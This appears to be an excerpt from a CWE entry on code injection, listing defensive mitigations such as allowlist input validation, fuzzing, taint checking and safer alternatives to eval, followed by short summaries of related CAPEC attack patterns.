  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list